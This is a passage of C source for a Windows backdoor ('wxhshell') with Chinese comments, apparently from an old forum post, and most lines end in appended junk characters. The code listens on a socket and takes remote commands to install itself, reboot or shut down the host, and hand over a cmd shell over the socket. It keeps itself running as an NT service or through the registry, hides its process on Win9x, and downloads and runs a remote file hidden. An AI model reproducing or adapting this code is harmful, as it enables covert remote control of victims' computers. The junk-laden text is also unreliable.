  else { Aq3\Q>klH)  
&Vgpv#&Cfx  
    switch(cmd[0]) { g0B%3v  
  G|8>Q3D  
  // 帮助 QgQ$>  
  case '?': { Np ru  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <c!gg7@pm  
    break; v7`{6Pf_$  
  } 4i+%~X@p  
  // 安装 N>]J$[j  
  case 'i': { #k`gm)|  
    if(Install()) ?A*!rW:l;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BpYxH#4  
    else Y~UAE.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CXyb8z4/+  
    break; +"=ydF.9  
    } A=p'`]Yld  
  // 卸载 \4C[<Gbx$(  
  case 'r': { u |.7w 2  
    if(Uninstall()) u*,>$(-u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `<M>"~W  
    else N3@[95  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g-"GZi  
    break; c$tX3ug6I  
    } $60`Hh 4/  
  // 显示 wxhshell 所在路径 >V)"TZH  
  case 'p': { gw[Eu>I  
    char svExeFile[MAX_PATH]; n^O!93a  
    strcpy(svExeFile,"\n\r"); ,u)jZ7  
      strcat(svExeFile,ExeFile); h8(>$A-  
        send(wsh,svExeFile,strlen(svExeFile),0); PwthYy  
    break; 0\B{~1(^  
    } >!a- "  
  // 重启 RtpV08s\  
  case 'b': { W g6H~x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BzO,(bd!PI  
    if(Boot(REBOOT)) /wt7KL- I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \x]\W#C  
    else {  P Je_qP  
    closesocket(wsh); L G5_\sY!  
    ExitThread(0); 8UqH"^9.Q7  
    } xSSEDfq  
    break; bcpsjUiy#  
    } 5I^;v;F  
  // 关机 u'>94Gm}  
  case 'd': { A>2_I)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NMf#0Nz-  
    if(Boot(SHUTDOWN)) g=@d!]Z~[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1# z@D(  
    else { @|Yn~PwKs  
    closesocket(wsh); ka8Y+Gs  
    ExitThread(0); voN~f>  
    } LyWY\K a  
    break; *pv<ZF0>  
    } q^Oj/ws  
  // 获取shell dIYf}7P  
  case 's': { ov;^ev,(  
    CmdShell(wsh); +jF2 {"  
    closesocket(wsh); q#8yU\J|,  
    ExitThread(0); 2.b,8wT/  
    break; PoPR34] ^J  
  } jlU6keZh`  
  // 退出 vB{i w}Hi!  
  case 'x': { OWT%XUW=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kROIVO1|`  
    CloseIt(wsh); {ilz[LM8(  
    break; <r t$~}  
    } +qC [X~\  
  // 离开 ] S[?tn  
  case 'q': { \U>&W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VwPoQ9pIS  
    closesocket(wsh); "NGfT:HV  
    WSACleanup(); ]7S f)  
    exit(1); 8(L2w|+B<  
    break; NjOUe?BQ  
        } f pq|mY  
  } 6uFw+Ya#  
  } #fns3=/ H  
W&%,XwkQ  
  // 提示信息 [X!w@d= i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PS+~JwDUc  
} NLG\*mQ  
  } Q!V:=d  
S_Wq`I@b  
  return; Q [rZ1z  
} H)7v$A,5%  
 ID,_0b  
// shell模块句柄 XC^*z[#4{  
int CmdShell(SOCKET sock) ;(Ug]U%3_  
{ L8Tm8)  
STARTUPINFO si; lMvOYv  
ZeroMemory(&si,sizeof(si)); :,Y1#_\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |. 0~'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _O uNX.yrG  
PROCESS_INFORMATION ProcessInfo; M.- {->  
char cmdline[]="cmd"; ?dCwo;~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PRaVe,5a  
  return 0; ?{B5gaU9F  
} p8%qU>~+4  
n-" (~  
// 自身启动模式 ka\{?:r,8  
int StartFromService(void) W3/bM>1  
{ $KGMAg/H  
typedef struct fPUr O  
{ VYkh@j  
  DWORD ExitStatus; Z,E$4Z  
  DWORD PebBaseAddress; zHX\h [0f  
  DWORD AffinityMask; Jl`^`Yv  
  DWORD BasePriority; =zK4jiM1  
  ULONG UniqueProcessId; 4hwb] Yz  
  ULONG InheritedFromUniqueProcessId; J#F5by%8  
}   PROCESS_BASIC_INFORMATION; *0!p_Hco  
Hf]:m hH  
PROCNTQSIP NtQueryInformationProcess; 9AX}V6\+  
8lYA6A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wPjq B{!Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZxwrlaA  
%N<5ST>(  
  HANDLE             hProcess; hDJG.,r  
  PROCESS_BASIC_INFORMATION pbi; bkDVW  
:QGo -,6-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tSJ#  
  if(NULL == hInst ) return 0; W?.469yy  
o&E8<e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eb\SpdM6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S7f.^8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e>Z&0lV:  
nWIZ0Nde'  
  if (!NtQueryInformationProcess) return 0; rtJER?A  
}]o8}$&(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K!&W}_@l  
  if(!hProcess) return 0; z0<E3t  
Gd%i?(U,R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1~L;S  
fOHbgnL>  
  CloseHandle(hProcess); &`l\Q\_[@  
l1DJ<I2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =?6c&Z  
if(hProcess==NULL) return 0; 2MRd  
OVi < d  
HMODULE hMod; Ul_Zn  
char procName[255]; OlRXgJ  
unsigned long cbNeeded; 4@{c K|  
Qq`S=:}~x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W<X3!zuKSg  
3&^hf^yg  
  CloseHandle(hProcess); ))|d~m  
8c)GUx  
if(strstr(procName,"services")) return 1; // 以服务启动 H%vfRl3rB  
N<:c*X  
  return 0; // 注册表启动 HfVHjF)  
} @-dGZ 5  
2j%=o?me^p  
// 主模块 qhxMO[f  
int StartWxhshell(LPSTR lpCmdLine) `CS\"|z  
{ wG[n wt0L  
  SOCKET wsl; ;m7G8)I  
BOOL val=TRUE; &Uam4'B6-  
  int port=0; w<`0D)mQ  
  struct sockaddr_in door; 6T$=(I <4  
K`K v.4  
  if(wscfg.ws_autoins) Install(); i#*[, P~  
paIjXaU1Mb  
port=atoi(lpCmdLine);  \nEMj,)  
YQN:&Cls  
if(port<=0) port=wscfg.ws_port; 0Gs\x  
R BHDfm'~7  
  WSADATA data; (Ut8pa+yX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]!{S2x&"  
}9"'' Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q0R05*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w UxFE=ia  
  door.sin_family = AF_INET; 'Eur[~k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ev;&n@k_I  
  door.sin_port = htons(port); )\Q(=:  
e n~m)r3&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Sxq@W8W  
closesocket(wsl);  bHG<B  
return 1; v-z%3x.f  
} Ih:Q}V#6  
dzOco)y  
  if(listen(wsl,2) == INVALID_SOCKET) { 3LETzsJ  
closesocket(wsl); gvR]"h  
return 1; 6NX#=A  
} Gf"TI:xa  
  Wxhshell(wsl); i"a3POV>  
  WSACleanup(); nm1dd{U6^  
[L+*pW+$\.  
return 0; y{@\8B]  
oM!&S'M/  
} e|{R2z"^  
X+]>pA  
// 以NT服务方式启动 lZ-U/$od  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S3Y.+. 0U  
{ GmR3 a  
DWORD   status = 0; e El)wZ,A  
  DWORD   specificError = 0xfffffff; $,~Ily7w  
;-VZVp}Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r"2lcNE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X=#us7W}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _ACN  
  serviceStatus.dwWin32ExitCode     = 0; 1jd{AqHl  
  serviceStatus.dwServiceSpecificExitCode = 0; VH]}{i"`  
  serviceStatus.dwCheckPoint       = 0; yIKpyyC9H  
  serviceStatus.dwWaitHint       = 0; _!o8s%9be  
$!*>5".A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /3aW 0/^o  
  if (hServiceStatusHandle==0) return; @KL&vm(F$  
F^gTID  
status = GetLastError(); BjfVNF;hk:  
  if (status!=NO_ERROR) I/njyV)H  
{ u"qVT9C$=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]Kq<U%x$  
    serviceStatus.dwCheckPoint       = 0; 9iG&9tB@  
    serviceStatus.dwWaitHint       = 0; D:Q#%wJ  
    serviceStatus.dwWin32ExitCode     = status; 8Ij<t{Lps  
    serviceStatus.dwServiceSpecificExitCode = specificError; QZ&(e2z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [cnu K  
    return; o>8~rtl  
  } ;<garDf  
R278^E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YjDQ`f/  
  serviceStatus.dwCheckPoint       = 0; gF p3=s0~  
  serviceStatus.dwWaitHint       = 0; {ze69 h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a5#G48'X  
} hP+4{F*}-  
.h meP MK  
// 处理NT服务事件,比如:启动、停止 Ts !g=F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aPelt`  
{ >}*W$i  
switch(fdwControl) {C 5:as  
{ >"2jCR$/  
case SERVICE_CONTROL_STOP: i-wRwl4aEF  
  serviceStatus.dwWin32ExitCode = 0; !-}Q{<2@W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I9Ohz!RQ  
  serviceStatus.dwCheckPoint   = 0; IVh5SS  
  serviceStatus.dwWaitHint     = 0; /GGyM]k3  
  { UH>~Y N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7_ix&oVI  
  } #4m5 I="  
  return; 0E26J@jcZ7  
case SERVICE_CONTROL_PAUSE: 3`reXms*{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 68z#9}  
  break; zU!{_Ao9  
case SERVICE_CONTROL_CONTINUE: h&j2mv(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e=(Y,e3  
  break; oUnb-,8n  
case SERVICE_CONTROL_INTERROGATE: AF#: *<Ev  
  break; nCi ]6;Y  
}; &pzL}/u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ij(<(y{?Q1  
} P{)D_Bi  
!d()'N  
// 标准应用程序主函数 6c]4(%8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #tKks:eL  
{ fSbLkd 9  
]z'L1vQl7  
// 获取操作系统版本 \YzKEYx+  
OsIsNt=GetOsVer(); 01@ WU1IN  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  d\ #yWY  
FL\pgbI  
  // 从命令行安装 fC'u-m?!Q'  
  if(strpbrk(lpCmdLine,"iI")) Install(); IB# ua:  
/rZk^/'  
  // 下载执行文件 YA@?L!F  
if(wscfg.ws_downexe) { Mk#r_:[BS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tkV[^OeU>  
  WinExec(wscfg.ws_filenam,SW_HIDE); T2rwK2  
} OF<:BaRs/  
c<_1o!68  
if(!OsIsNt) { \9,lMK[b  
// 如果时win9x,隐藏进程并且设置为注册表启动 KOe]JDU  
HideProc(); K7 C <}y  
StartWxhshell(lpCmdLine); 6xx.Z3v  
} )*}\fmOv{  
else 5*2hTM!  
  if(StartFromService()) QswPga(-  
  // 以服务方式启动 4OM ]8I!  
  StartServiceCtrlDispatcher(DispatchTable); W2XWb<QSEV  
else {P?Ge  
  // 普通方式启动 WY|~E%k  
  StartWxhshell(lpCmdLine); {s@!N  
" oxUKT  
return 0; H$ nzyooh  
}
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只看该作者 1 发表于: 2006-10-10
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